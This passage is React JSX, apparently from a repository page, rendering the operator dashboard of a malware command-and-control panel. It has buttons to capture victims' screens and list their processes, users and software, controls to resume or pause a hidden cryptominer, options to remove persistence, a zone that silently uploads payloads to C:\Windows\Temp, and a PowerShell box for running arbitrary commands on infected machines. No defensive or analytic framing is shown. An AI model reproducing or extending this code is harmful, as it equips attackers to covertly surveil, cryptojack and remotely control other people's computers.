{/* Reconnaissance Group */}
|
||||
<div className="action-group recon-group">
|
||||
<h3>👁️ Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button onClick={() => dispatch('users')}>List Users</button>
|
||||
<button onClick={() => dispatch('software')}>Installed Software</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Mining Controls */}
|
||||
<div className="action-group mining-group">
|
||||
<h3>⛏️ Mining Controls</h3>
|
||||
<div className="button-grid">
|
||||
<button className="btn-cyan" onClick={() => dispatch('resume')}>▶ Resume</button>
|
||||
<button className="btn-amber" onClick={() => dispatch('pause')}>⏸ Pause</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Power Controls */}
|
||||
<div className="action-group power-group">
|
||||
<h3>⚠️ System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button className="btn-amber" onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button className="btn-red" onClick={() => { if(window.confirm('Kill agent process?')) dispatch('stop'); }}>Kill Process</button>
|
||||
<button className="btn-red" onClick={() => { if(window.confirm('Delete and remove persistence?')) dispatch('uninstall'); }}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Visual Render Zone (Screenshots) */}
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
<span>Latest Capture</span>
|
||||
<button onClick={() => setScreenshotData(null)}>✕</button>
|
||||
</div>
|
||||
<img src={screenshotData} alt="Target Desktop" />
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="tactical-bottom-row">
|
||||
{/* Drag & Drop Upload Zone */}
|
||||
<div
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
||||
onDragOver={handleDragOver}
|
||||
onDragLeave={handleDragLeave}
|
||||
onDrop={handleDrop}
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop payload here</p>
|
||||
<small>Silently uploads to C:\Windows\Temp\</small>
|
||||
</div>
|
||||
|
||||
{/* Master Terminal */}
|
||||
<div className="master-terminal">
|
||||
<div className="terminal-output">
|
||||
{terminalLog.length === 0 ? (
|
||||
<span className="terminal-placeholder">Awaiting telemetry...</span>
|
||||
) : (
|
||||
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
|
||||
)}
|
||||
<div ref={logEndRef} />
|
||||
</div>
|
||||
<form className="terminal-input-bar" onSubmit={runCustomCommand}>
|
||||
<span className="prompt">PS></span>
|
||||
<input
|
||||
type="text"
|
||||
value={customCmd}
|
||||
onChange={e => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
autoComplete="off"
|
||||
/>
|
||||
<button type="submit">EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user